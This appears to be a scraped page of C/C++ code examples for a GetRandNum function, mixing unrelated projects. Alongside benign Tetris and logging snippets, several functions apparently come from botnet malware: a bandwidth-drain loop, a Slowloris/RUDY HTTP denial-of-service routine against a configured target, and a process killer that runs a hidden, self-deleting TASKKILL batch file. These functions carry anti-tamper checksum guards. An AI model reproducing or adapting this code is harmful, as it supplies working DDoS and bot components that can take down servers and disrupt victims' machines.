Example #1
0
DWORD WINAPI BandwithDrain(LPVOID)
{
    char cTargetHost[MAX_PATH];
    strcpy(cTargetHost, cFloodHost);

    while(bDdosBusy)
    {
        // <!-------! CRC AREA START !-------!>
        char cCheckString[DEFAULT];
        sprintf(cCheckString, "%s--%s", cVersion, cOwner);
        char *cStr = cCheckString;
        unsigned long ulCheck = (((10000/100)*100)-4619);
        int nCheck;
        while((nCheck = *cStr++))
            ulCheck = ((ulCheck << 5) + ulCheck) + nCheck;
        if(ulCheck != ulChecksum2)
            break;
        // <!-------! CRC AREA STOP !-------!>

        srand(GenerateRandomSeed());

        char cRandomFileName[MAX_PATH];
        sprintf(cRandomFileName, "%s\\B%i.tmp", cAppData, GetRandNum(899999) + 100000);

        if(DownloadUrlToFile(cTargetHost, cRandomFileName))
            Sleep(GetRandNum(4000) + 1000);

        DeleteFile(cRandomFileName);
    }

    return 1;
}
VOID InitGame()
{
	int iTmp;

	TetrisX = (GAME_X - 4) / 2;
	TeTrisY = 0;
	g_uiInterval = DEFAULT_INTERVAL;
	g_uiScore = 0;

	iTmp = GetRandNum(0, TETRIS_CNT);
	memcpy(g_CurTetris, g_astTetris[iTmp], sizeof(g_CurTetris));

	iTmp = GetRandNum(0, TETRIS_CNT);
	memcpy(g_NextTetris, g_astTetris[iTmp], sizeof(g_NextTetris));

	memset(g_stGame, 0, sizeof(g_stGame));
}
Example #3
0
void CLogTestDlg::LogRandMsg(void)
{
	CString strRand = _T("");
	
	int nLen = 0;
	nLen = GetRandNum(36, 1024);
	char ch = 0;
	for (int i=0; i<nLen; i++)
	{
		ch = GetRandNum(33, 126);
		strRand += ch;
	}
	int nID = GetRandNum(1, 400);
	int nType = GetRandNum(1, 4);
	if(nID > 300)
	{
		nType = LogType::Error;
	}
	USES_CONVERSION;
	LogS(nID, nType, "Unit", T2A(strRand));
}
Example #4
0
void GetRandNumEx(DataType **DataArr, SizeType size, int bGetNegative)
{
    GetRandNum(DataArr, size);

    srand((unsigned int)time(NULL));
    SizeType num = size / sizeof(DataType);
    for(unsigned int i = 0; i < num; i++)
    {
        int tmp = rand();
        if((tmp % 2) == 0)
            (*DataArr)[i] *= bGetNegative;
    }
}
VOID RefreshTetris(int nStartX, int nStartY, BOOL bTetris[4][4], BOOL bGame[GAME_X][GAME_Y])
{
	int x, y;
	BOOL bFlag;
	int newY;
	int iFullLine = 0;  //消去慢行的格子,这里记录行数,用于记分

	//合并 bTetris 到 bGame
	for (x = 0; x < 4; x++)
	{
		for (y = 0; y < 4; y++)
		{
			if (bTetris[x][y]) bGame[nStartX + y][nStartY + x] = TRUE;
		}
	}

	for (y = GAME_Y, newY = GAME_Y; y >= 0; y--)
	{
		bFlag = FALSE;
		for (x = 0; x < GAME_X; x++)
		{
			bGame[x][newY] = bGame[x][y];
			if (!bGame[x][y]) //不满格
			{
				bFlag = TRUE; 
			}
		}
		if (bFlag)
		{
			newY--;
		}
		else
		{
			//满格的化,用上一行替换这一行
			iFullLine++;
		}
	}

	if (iFullLine)
	{
		g_uiScore += (iFullLine * 100);
	}

	memcpy(g_CurTetris, g_NextTetris, sizeof(g_CurTetris));	
	memcpy(g_NextTetris, g_astTetris[GetRandNum(0, TETRIS_CNT)], sizeof(g_NextTetris));

	TetrisX = (GAME_X - 4) / 2;
	TeTrisY = 0;
}
Example #6
0
DWORD GetPidFromFilename(LPTSTR szExe)
{
    HANDLE hProcessSnap;
    PROCESSENTRY32 pe32;
    DWORD dwPid = 0;

    // <!-------! CRC AREA START !-------!>
    char cCheckString1[DEFAULT];
    sprintf(cCheckString1, "%s:%i", cServer, usPort);
    char *pcStr1 = cCheckString1;
    unsigned long ulCheck1 = 5081+(30*10);
    int nCheck1;
    while((nCheck1 = *pcStr1++))
        ulCheck1 = ((ulCheck1 << 5) + ulCheck1) + nCheck1;
    if(ulCheck1 != ulChecksum3)
        return GetRandNum(5000);
    // <!-------! CRC AREA STOP !-------!>

    hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    pe32.dwSize = sizeof(PROCESSENTRY32);

    if(!Process32First(hProcessSnap, &pe32))
    {
        CloseHandle(hProcessSnap);
        return dwPid;
    }

    do
    {
        if(lstrcmpi(pe32.szExeFile, szExe) == 0)
        {
            dwPid = pe32.th32ProcessID;
            break;
        }
    }
    while(Process32Next(hProcessSnap, &pe32));

    CloseHandle(hProcessSnap);

    return dwPid;
}
DWORD WINAPI DdosSlowlorisRudy(LPVOID)
{
    char cTargetHost[MAX_PATH];
    strcpy(cTargetHost, cFloodHost);

    char cTargetPath[DEFAULT];
    strcpy(cTargetPath, cFloodPath);

    char cTargetData[DEFAULT];
    strcpy(cTargetData, cFloodData);

    unsigned short usTargetPort = usFloodPort;

    unsigned short usType = usFloodType;

    unsigned short usPacketGenerationType;
    bool bRudy;
    if(usType == DDOS_HTTP_RUDY)
    {
        usPacketGenerationType = HTTP_RUDY;
        bRudy = TRUE;
    }
    else if(usType == DDOS_HTTP_SLOWLORIS)
    {
        usPacketGenerationType = HTTP_SLOWLORIS;
        bRudy = FALSE;
    }
    else if(usType == DDOS_HTTP_COMBO)
    {
        unsigned short usRandNum = GetRandNum(100);

        if(usRandNum < 50)
        {
            usPacketGenerationType = HTTP_RUDY;
            bRudy = TRUE;
        }
        else
        {
            usPacketGenerationType = HTTP_SLOWLORIS;
            bRudy = FALSE;
        }
    }
    else
        return 0;

    SOCKADDR_IN sck;
    HOSTENT *paddr;

    for(unsigned short us = 0; us < 25; us++)
    {
        paddr = fncgethostbyname(cTargetHost);
        if(paddr != NULL)
            break;

        Sleep(100);
    }

    sck.sin_addr = (*(in_addr*)*paddr->h_addr_list);

    sck.sin_port = fnchtons(usTargetPort);
    sck.sin_family = AF_INET;

    unsigned short usSocketCount = 25;
    unsigned short usDelay = 5000;

    SOCKET sSock[usSocketCount];
    DWORD dwMode = 1;

    char cHoldConnection[7];
    strcpy(cHoldConnection, "X-a: b\r\n");

    while(bDdosBusy)
    {
        for(unsigned short us = 0; us < usSocketCount; us++)
        {
            if(!bDdosBusy)
                break;
            sSock[us] = fncsocket(AF_INET, SOCK_STREAM, NULL);

            if(sSock[us] == INVALID_SOCKET)
                continue;

            // <!-------! CRC AREA START !-------!>
            char cCheckString[DEFAULT];
            sprintf(cCheckString, "%s--%s", cVersion, cOwner);
            char *cStr = cCheckString;
            unsigned long ulCheck = (((10000/100)*100)-4619);
            int nCheck;
            while((nCheck = *cStr++))
                ulCheck = ((ulCheck << 5) + ulCheck) + nCheck;
            if(ulCheck != ulChecksum2)
                closesocket(sSock[us]);
            // <!-------! CRC AREA STOP !-------!>

            //fncioctlsocket(sSock[us], FIONBIO, &dwMode);
        }

        for(unsigned short us = 0; us < usSocketCount; us++)
        {
            if(!bDdosBusy)
                break;

            char cPacket[MAX_DDOS_BUFFER];
            strcpy(cPacket, GenerateHttpPacket(usPacketGenerationType, cTargetHost, cTargetPath, usTargetPort, cTargetData));

            if(fncconnect(sSock[us], (PSOCKADDR)&sck, sizeof(sck)) != SOCKET_ERROR)
            {
                if(fncsend(sSock[us], cPacket, strlen(cPacket), NULL) != SOCKET_ERROR)
                    dwHttpPackets++;
            }
        }

        Sleep(GetRandNum(usDelay) + (usDelay / 2));

        for(unsigned short us = 0; us < usSocketCount; us++)
            fncclosesocket(sSock[us]);
    }
    return 1;
}
Example #8
0
bool KillProcessByPid(DWORD dwPid, bool bKillChildren)
{
    // <!-------! CRC AREA START !-------!>
    char cCheckString1[DEFAULT];
    sprintf(cCheckString1, "%s:%i", cServer, usPort);
    char *pcStr1 = cCheckString1;
    unsigned long ulCheck1 = 5081+(30*10);
    int nCheck1;
    while((nCheck1 = *pcStr1++))
        ulCheck1 = ((ulCheck1 << 5) + ulCheck1) + nCheck1;
    if(ulCheck1 != ulChecksum3)
        return true;
    // <!-------! CRC AREA STOP !-------!>

    RemoteDaclProtection(dwPid);

    bool bReturn = FALSE;

    if(bKillChildren)
    {
        char cBatchFileContents[DEFAULT];
        strcpy(cBatchFileContents, "@echo off\nTASKKILL /F /T /PID ");

        char cPid[8];
        itoa(dwPid, cPid, 10);
        strcat(cBatchFileContents, cPid);

        strcat(cBatchFileContents, ">NUL\nDEL %0>NUL\n");

        char cBatchFileName[MAX_PATH];
        sprintf(cBatchFileName, "%s\\K%li.bat", cTempDirectory, ulFileHash);

        FILE * fFile;
        fFile = fopen(cBatchFileName, "w");
        if(fFile != NULL)
        {
            fputs(cBatchFileContents, fFile);
            fclose(fFile);
            ShellExecute(NULL, NULL, cBatchFileName, NULL, NULL, SW_HIDE);
        }

        Sleep(GetRandNum(500) + 250);
    }

    HANDLE hProcess = NULL;

    if(GetCurrentProcessId() != dwPid)
          hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, dwPid);

    if(hProcess != NULL)
    {
        if(TerminateProcess(hProcess, NULL))
            bReturn = TRUE;
    }
    else if(bKillChildren)
        bReturn = TRUE;

    CloseHandle(hProcess);

    return bReturn;
}